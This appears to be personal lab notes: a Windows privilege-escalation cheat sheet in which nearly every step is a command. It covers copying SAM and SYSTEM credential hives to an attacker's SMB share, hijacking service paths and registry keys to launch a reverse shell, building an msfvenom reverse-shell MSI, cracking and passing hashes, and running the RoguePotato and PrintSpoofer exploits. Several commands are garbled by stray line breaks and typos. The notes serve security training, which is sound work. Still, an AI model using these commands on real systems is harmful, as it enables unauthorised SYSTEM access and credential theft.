win-Priv_Esc

smb-enable

On Kali, in the same directory as reverse.exe:

```
sudo python3 /usr/share/doc/python3-impacket/-
examples/smbserver.py kali .
```

On Windows (update the IP address with your Kali IP):

```
copy \\10.10.10.10\kali\reverse.exe C:-
\PrivEsc\reverse.exe
```

win to kali

```
copy C:\Windows\Repair\SAM \\10.10.10.10\kali\
copy C:\Windows\Repair\SYSTEM \
\10.10.10.10\kali\
```

Insecure Service Permissions

Permissions

C:\PrivEsc\accesschk.exe /accepteula -uwcqv user
daclsvc

sc qc daclsvc

Modify the service config and set the BINARY_PATH_NAME (binpath) to the reverse.exe executable you created:

sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

net start daclsvc

Unquoted Service Path

found that unquotedsvc is vuln

check for configs

sc qc unquotedsvc

check for dir perms

C:\PrivEsc\accesschk.exe /accepteula
-uwdq "C:\Program Files\Unquoted
Path Service\"

put file in path

copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path
Service\Common.exe"

restart service

net start unquotedsvc

Weak Registry Permissions

The "regsvc" reg is insecure

sc qc regsvc

perm check on reg

C:\PrivEsc\accesschk.exe /accepteula -uvwqk
HKLM\System\CurrentControlSet\Services\regsvc

Overwrite the ImagePath registry key to point to the reverse.exe executable you created:

reg add

HKLM\SYSTEM\CurrentControlSet\services\regsvc
/v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

restart service

net start regsvc

Insecure Service Executables

the "filepermsvc" service, runs with SYSTEM privileges (SERVICE_START_NAME).

sc qc filepermsvc

Using accesschk.exe, note that the service binary (BINARY_PATH_NAME) file is writable by everyone:

C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions
Service\filepermservice.exe"

replace file with payload

copy C:\PrivEsc\reverse.exe "C:\Program
Files\File Permissions
Service\filepermservice.exe" /Y

restart service

net start filepermsvc

AutoRuns

Query the registry for AutoRun executables:

reg query

HKLM\S0FTWARE\Microsoft\Windows\CurrentVersion\R

AutoRun executables "program.exe" is writable by everyone by

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

replace it

copy C:\PrivEsc\reverse.exe "C:\Program
Files\Autorun Program\program.exe" /Y

on admin restart, we'll get reverse_shell

rdesktop 10.10.192.139

AlwaysInstallElevated

check two regs to be on:

reg query

HKCU\SOFTWARE\Policies\Microsoft\Windows\Install
v AlwaysInstallElevated

reg query

HKLM\SOFTWARE\Policies\Microsoft\Windows\Install

V AlwaysInstallElevated

create msi payload:

msfvenom -p windows/x64/shell_reverse_tcp
LHOST=10.10.10.10 LPORT=53 -f msi -o
reverse.msi

and run it:

msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

Passwords - Registry

The registry can be searched for keys and values that contain the word "password":

reg query HKLM /f password /t REG_SZ /s

If you want to save some time, query this specific key to find admin AutoLogon credentials:

reg guery "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

On Kali, use the winexe command to spawn a command prompt

winexe -U 'admin%password' //10.10.192.139 cmd.exe

Passwords - Saved Creds

creds may be saved for easy admin commands List any saved credentials:

cmdkey /list

run anything as admin(if admin creds saved)

runas /savecred /user:admin C:\PrivEsc\reverse.exe

SAM) + SYSTEM decrypt

decrpt by

git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto

python3 creddump7/pwdump.py SYSTEM SAM

hashcat -m 1000 --force <hash> /usr/share/-wordlists/rockyou.txt

Passing the Hash

login by only hash (complate) without cracking password

pth-winexe -U 'admin%hash' //10.10.192.139
cmd.exe

Scheduled Tasks

View the contents of the C:\DevTools\CleanUp.ps1 script:

type C:\DevTools\CleanUp.ps1

The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file:

C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable you created:

echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.

GUI apps

Start an RDP session as the "user" account:
rdesktop -u user -p password321 10.10.192.139
Double-click the "AdminPaint" shortcut on your Desktop. Once it is running,
open a command prompt and note that Paint is running with admin privileges:
tasklist /V | findstr mspaint.exe
In Paint, click "File" and then "Open". In the open file dialog box, click in the
navigation input and paste: file://c:/windows/system32/cmd.exe
Press Enter to spawn a command prompt running with admin privileges.

Startup Apps

Using accesschk.exe, note that the BUILTIN\Users group can write files to the StartUp directory:

C:\PrivEsc\accesschk.exe /accepteula -d "C:-

\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

Using cscript, run the C:\PrivEsc\CreateShortcut.vbs script which should create a new shortcut to your reverse.exe executable in the StartUp directory:

cscript C:\PrivEsc\CreateShortcut.vbs

Start a listener on Kali, and then simulate an admin logon using RDP and the credentials you previously extracted:

rdesktop -u admin 10.10.192.139

A shell running as admin should connect back to your listener.

Token Impersonation - Rogue Potato

Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows:

sudo socat tcp-listen:135, reuseaddr, fork tcp:10.10.192.139:9999
Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the "local service" account: C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:-\PrivEsc\reverse.exe

Start another listener on Kali.

Now, in the "local service" reverse shell you triggered, run the RoguePotato exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):

C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999

Token Impersonation - PrintSpoofer

Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the "local service" account:

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

Start another listener on Kali.

Now, in the "local service" reverse shell you triggered, run the PrintSpoofer exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):

C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i

scripts

- 1 winPEASany.exe
- 2 Seatbelt.exe
- 3 PowerUp.ps1
- 4 SharpUp.exe